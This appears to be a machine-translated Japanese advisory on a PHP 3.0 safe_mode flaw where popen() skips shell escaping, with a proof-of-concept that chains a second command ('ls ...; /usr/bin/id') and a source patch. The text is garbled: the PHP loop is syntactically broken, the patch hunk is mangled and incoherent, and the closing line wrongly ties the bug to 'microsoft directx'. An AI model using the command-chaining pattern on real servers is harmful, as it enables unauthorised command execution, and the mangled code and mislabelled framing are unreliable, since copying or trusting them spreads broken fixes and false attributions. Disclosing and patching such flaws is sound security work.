影響を受けるシステム: PHP 3.00
------------------------------------------ ---- --------------------------------------
説明:
PHP バージョン 3.0 HTML 埋め込みスクリプト言語です。その構文のほとんどは C、Java、Perl に移植され、
PHP の機能と組み合わされています。この言語を使用すると、Web 開発者は動的な Web ページを迅速に作成できます。
PHP は Web サーバー上で実行され、ユーザーがコードを実行できるようにするため、PHP には「safe_mode」と呼ばれる組み込みのセキュリティ機能があり、
PHP 操作を許可する Webroot 環境でのコマンドの実行を制御するために使用されます。
実装メカニズムは、シェルコマンドのシステムコールを強制的に実行することで、シェルコマンドを EscapeShellCmd() 関数に転送します。この関数は、コマンドが webroot ディレクトリの外で実行できないことを確認するために使用されます。
PHP の一部のバージョンでは、popen() コマンドの使用時に EscapeShellCmd() が失敗し、悪意のあるユーザーが
'popen' システム コールを使用して不正な操作を実行する原因となります。
------------------------------------------------- -----------------------------
テスト プログラム:
警告: 次のプログラム (メソッド) は攻撃的である可能性があります。セキュリティの研究と教育を目的としています。自己責任!
<?php
$fp = Popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp
n"; ($fp, 1024)):
printf("%s
n", $line);
pclose($fp);
出力結果は次のとおりです。
1
合計 53
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)
および次の構成値からphpinfo():
セーフモード 0 1
----------------------------------------------------- -------- ----------------------------------
提案:
インデックス: 関数/ file.c
==== ========================================= ======== =============
RCS ファイル: /repository/php3/functions/file.c,v
リビジョン 1.229 を取得
リビジョン 1.230 を取得
diff -u - r1.229 -r1.230
--- 関数/file.c 2000/01/01 04:31:15 1.229
+++ 関数/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| 著者: ラスムス・レルドルフ <rasmus@lerdorf.on.ca>
+----------- ----------- -------------------------------------- -+
*/
-/* $Id : file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/ 03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
# include "php3_list.h"
#include "php3_string .h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5
@@ -575,7 +576,7 @@
pval *arg1、*arg2;
int id;
+ char *p、
char *b、
TLS_VARS; @@ -600,7 +601,11 @ @
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
- fp = Popen(buf,p);
+
+ tmp = _php3_escapeshellcmd(buf); /* 一時コピー、不要になりました */
+
if (!fp) {
php3_error (E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
上記は、microsoft directx PHP3 のセーフモード障害の脆弱性を紹介しており、microsoft directx の内容も含めて、PHP チュートリアルに興味のある友人に役立つことを願っています。